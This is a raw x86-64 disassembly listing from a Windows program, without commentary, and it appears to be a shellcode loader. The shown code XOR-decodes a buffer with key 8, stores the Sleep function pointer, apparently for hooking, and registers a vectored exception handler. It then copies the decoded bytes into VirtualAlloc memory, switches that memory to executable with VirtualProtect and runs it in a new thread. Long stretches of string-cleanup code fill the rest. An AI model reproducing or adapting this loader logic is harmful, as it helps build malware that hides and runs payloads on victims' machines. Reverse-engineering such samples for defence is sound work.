mov qword [rdi + 0x18], rax
mov r9d, 5
mov r8, rdi
lea rdx, [rsp + 0x398]
mov rcx, rbx
call fcn.140021330
nop
mov r9, rax
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x90]
call fcn.140003a00
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r12
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x140008a89
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rcx, qword [rsp + 0x3f8]
cmp qword [rsp + 0x3f0], rcx
cmovb rcx, qword [rsp + 0x3f0]
mov rdx, qword [rsp + 0x400]
test rdx, rdx
je 0x140008abf
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
lea rcx, [rsp + 0x390]
call fcn.1400037c0
nop
mov rcx, qword [rsp + 0x240]
cmp qword [rsp + 0x238], rcx
cmovb rcx, qword [rsp + 0x238]
mov rdx, qword [rsp + 0x248]
test rdx, rdx
je 0x140008b03
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov rcx, qword [rsp + 0x220]
cmp qword [rsp + 0x218], rcx
cmovb rcx, qword [rsp + 0x218]
mov rdx, qword [rsp + 0x228]
test rdx, rdx
je 0x140008b39
mov rdi, rdx
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, rdx
call fcn.140024e10
nop
mov dword [rsp + 0x104], 2
mov word [rsp + 0x100], 0x3d
xor eax, eax
mov qword [rsp + 0x48], rax
mov word [rsp + 0x50], ax
mov byte [rsp + 0x52], al
movdqa xmm0, xmmword [0x140041f10]
movdqu xmmword [rsp + 0x54], xmm0
movdqa xmm1, xmmword [0x140041f30]
movdqu xmmword [rsp + 0x64], xmm1
mov dword [rsp + 0x74], 0x2f
mov dword [rsp + 0x78], 0x27
lea rcx, [rsp + 0x48]
call fcn.14000a310
lea r9, [rsp + 0x100]
mov r8, rax
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x330]
call fcn.1400050d0
nop
mov dword [rsp + 0x104], 0x55
mov word [rsp + 0x100], 0x2b
xor eax, eax
mov qword [rsp + 0x1f0], rax
mov word [rsp + 0x1f8], ax
mov byte [rsp + 0x1fa], al
movdqa xmm0, xmmword [0x140041cd0]
movdqu xmmword [rsp + 0x1fc], xmm0
movdqa xmm1, xmmword [0x140041de0]
movdqu xmmword [rsp + 0x20c], xmm1
mov dword [rsp + 0x21c], 0x3f
mov dword [rsp + 0x220], 0x69
lea rcx, [rsp + 0x1f0]
call fcn.14000a060
lea r9, [rsp + 0x100]
mov r8, rax
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x310]
call fcn.1400050d0
nop
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2d8]
call fcn.140001800
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call fcn.140001a40
nop
lea r14, [rsp + 0x1c8]
cmp qword [rsp + 0x1e0], 0x10
cmovae r14, qword [rsp + 0x1c8]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2c0], xmm1
mov rbx, r13
mov qword [rsp + 0x2d0], rbx
mov r12d, r13d
mov rdi, qword [rsp + 0x2c8]
cmp qword [rsp + 0x1d8], r12
jbe 0x140008d16
nop dword [rax + rax]
movzx eax, byte [r14]
xor al, 8
mov byte [rsp + 0x30], al
cmp rdi, rbx
je 0x140008cde
mov byte [rdi], al
inc rdi
mov qword [rsp + 0x2c8], rdi
jmp 0x140008d03
lea r8, [rsp + 0x30]
mov rdx, rdi
lea rcx, [rsp + 0x2c0]
call fcn.140016200
mov rbx, qword [rsp + 0x2d0]
mov rdi, qword [rsp + 0x2c8]
inc r12d
inc r14
movsxd rax, r12d
cmp rax, qword [rsp + 0x1d8]
jb 0x140008cc0
mov dword [0x14004f4a0], 1
mov qword [rsp + 0x2d8], r13
mov qword [rsp + 0x2e0], r13
mov qword [rsp + 0x2f0], 0x10
lea rax, [0x14004f490]
mov qword [rsp + 0x2e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x14004f488], rax
lea r9, [rsp + 0x2d8]
mov rdx, rax
mov cl, 1
call fcn.140004d20
test al, al
jne 0x1400092e4
mov rcx, qword [rsp + 0x2c0]
test rcx, rcx
je 0x140008db1
sub rbx, rcx
mov rax, rcx
cmp rbx, 0x1000
jb 0x140008da8
add rbx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000995d
mov rdx, rbx
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 0x10
jb 0x140008df4
inc rdx
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008def
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400099aa
call fcn.14003499c
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1e0], 0xf
mov byte [rsp + 0x1c8], 0
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x140008e53
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a0c
call fcn.14003499c
mov qword [rsp + 0x320], r13
mov qword [rsp + 0x328], 0xf
mov byte [rsp + 0x310], 0
mov rdx, qword [rsp + 0x348]
cmp rdx, 0x10
jb 0x140008eb2
inc rdx
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ead
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a6e
call fcn.14003499c
mov qword [rsp + 0x340], r13
mov qword [rsp + 0x348], 0xf
mov byte [rsp + 0x330], 0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 0x10
jb 0x140008f11
inc rdx
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ad0
call fcn.14003499c
mov qword [rsp + 0x198], r13
mov qword [rsp + 0x1a0], 0xf
mov byte [rsp + 0x188], 0
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 0x10
jb 0x140008f70
inc rdx
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b32
call fcn.14003499c
mov qword [rsp + 0x1b8], r13
mov qword [rsp + 0x1c0], 0xf
mov byte [rsp + 0x1a8], 0
mov rdx, qword [rsp + 0x278]
cmp rdx, 0x10
jb 0x140008fcf
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b94
call fcn.14003499c
mov qword [rsp + 0x270], r13
mov qword [rsp + 0x278], 0xf
mov byte [rsp + 0x260], 0
mov rdx, qword [rsp + 0x298]
cmp rdx, 0x10
jb 0x14000902e
inc rdx
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009029
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bf6
call fcn.14003499c
mov qword [rsp + 0x290], r13
mov qword [rsp + 0x298], 0xf
mov byte [rsp + 0x280], 0
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0x10
jb 0x14000908d
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009088
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009c58
call fcn.14003499c
mov qword [rsp + 0x2b0], r13
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x1400090ec
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fa5
call fcn.14003499c
mov qword [rsp + 0x138], r13
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x368]
cmp rdx, 0x10
jb 0x14000914c
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fac
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x14000918f
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000918a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009d5d
call fcn.14003499c
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x160], 0xf
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x1400091ee
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009dbf
call fcn.14003499c
mov qword [rsp + 0x178], r13
mov qword [rsp + 0x180], 0xf
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x14000924d
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e21
call fcn.14003499c
mov qword [rsp + 0x118], r13
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x1400092ad
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e83
call fcn.14003499c
nop
test rsi, rsi
je 0x1400092c7
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
test r15, r15
je 0x140009f9b
mov rdi, r15
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, r15
jmp 0x140009f95
mov eax, dword [0x14004f4a0]
test eax, eax
jne 0x1400092f2
nop
jmp 0x1400092f0
cmp eax, 2
jne 0x140009307
lea rdx, [0x140005070]
lea ecx, [rax - 1]
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov r12, r13
mov rax, rdi
mov r14, qword [rsp + 0x2c0]
sub rax, r14
mov qword [rsp + 0x40], rax
inc rax
mov qword [rsp + 0x38], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
je 0x140009923
mov r8, qword [rsp + 0x40]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x100]
mov r8d, 0x20
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140009923
cmp r14, rdi
cmovne rdi, r14
mov qword [rsp + 0x2c8], rdi
xor edi, edi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov r9, r13
lea r8, [0x1400050c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r12, rax
test rax, rax
je 0x140009925
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r14, r14
je 0x140009408
sub rbx, r14
mov rax, r14
cmp rbx, 0x1000
jb 0x1400093fc
add rbx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000995d
mov rdx, rbx
mov rcx, r14
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 0x10
jb 0x14000944b
inc rdx
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009446
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400099aa
call fcn.14003499c
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x1e0], 0xf
mov byte [rsp + 0x1c8], 0
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x1400094aa
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a0c
call fcn.14003499c
mov qword [rsp + 0x320], rdi
mov qword [rsp + 0x328], 0xf
mov byte [rsp + 0x310], 0
mov rdx, qword [rsp + 0x348]
cmp rdx, 0x10
jb 0x140009509
inc rdx
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009504
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009a6e
call fcn.14003499c
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], 0xf
mov byte [rsp + 0x330], 0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 0x10
jb 0x140009568
inc rdx
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009563
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ad0
call fcn.14003499c
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x1a0], 0xf
mov byte [rsp + 0x188], 0
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 0x10
jb 0x1400095c7
inc rdx
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b32
call fcn.14003499c
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x1c0], 0xf
mov byte [rsp + 0x1a8], 0
mov rdx, qword [rsp + 0x278]
cmp rdx, 0x10
jb 0x140009626
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009b94
call fcn.14003499c
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], 0xf
mov byte [rsp + 0x260], 0
mov rdx, qword [rsp + 0x298]
cmp rdx, 0x10
jb 0x140009685
inc rdx
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009680
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009bf6
call fcn.14003499c
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0xf
mov byte [rsp + 0x280], 0
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0x10
jb 0x1400096e4
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009c58
call fcn.14003499c
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140009743
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000973e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fa5
call fcn.14003499c
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x368]
cmp rdx, 0x10
jb 0x1400097a3
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000979d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fac
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x1400097e6
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009d5d
call fcn.14003499c
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 0xf
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x140009845
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009dbf
call fcn.14003499c
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 0xf
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x1400098a4
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000989f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e21
call fcn.14003499c
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x140009904
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009e83
call fcn.14003499c
nop
test rsi, rsi
je 0x14000991e
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
jmp 0x140009fd3
xor edi, edi
test r12, r12
je 0x140009934
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r14, r14
je 0x140009970
sub rbx, r14
mov rax, r14
cmp rbx, 0x1000
jb 0x140009964
add rbx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009964
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rbx
mov rcx, r14
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 0x10
jb 0x1400099b6
inc rdx
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400099b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400099b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x1e0], 0xf
mov byte [rsp + 0x1c8], 0
mov rdx, qword [rsp + 0x328]
cmp rdx, 0x10
jb 0x140009a18
inc rdx
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x320], rdi
mov qword [rsp + 0x328], 0xf
mov byte [rsp + 0x310], 0
mov rdx, qword [rsp + 0x348]
cmp rdx, 0x10
jb 0x140009a7a
inc rdx
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x340], rdi
mov qword [rsp + 0x348], 0xf
mov byte [rsp + 0x330], 0
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 0x10
jb 0x140009adc
inc rdx
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ad7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ad7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x1a0], 0xf
mov byte [rsp + 0x188], 0
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 0x10
jb 0x140009b3e
inc rdx
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x1c0], 0xf
mov byte [rsp + 0x1a8], 0
mov rdx, qword [rsp + 0x278]
cmp rdx, 0x10
jb 0x140009ba0
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], 0xf
mov byte [rsp + 0x260], 0
mov rdx, qword [rsp + 0x298]
cmp rdx, 0x10
jb 0x140009c02
inc rdx
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bfd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0xf
mov byte [rsp + 0x280], 0
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0x10
jb 0x140009c64
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c5f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140009cc3
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fa5
call fcn.14003499c
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x368]
cmp rdx, 0x10
jb 0x140009d23
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fac
call fcn.14003499c
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x140009d69
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009d64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009d64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 0xf
mov byte [rsp + 0x148], 0
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x140009dcb
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009dc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x178], rdi
mov qword [rsp + 0x180], 0xf
mov byte [rsp + 0x168], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x140009e2d
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], 0xf
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x388]
cmp rdx, 0x10
jb 0x140009e90
inc rdx
mov rcx, qword [rsp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003499c
nop
test rsi, rsi
je 0x140009eaa
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
jmp 0x1400092c7
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov eax, 1
jmp 0x14000a02b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140005290
nop
test rsi, rsi
je 0x140009fd3
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
test r15, r15
je 0x140009fed
mov ecx, 0x10
xor eax, eax
mov rdi, r15
rep stosb byte [rdi], al
mov rcx, r15
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
jmp 0x14000a029
cmp rbx, 0x10
jb 0x14000a029
lea rdx, [rbx + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000a021
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a021
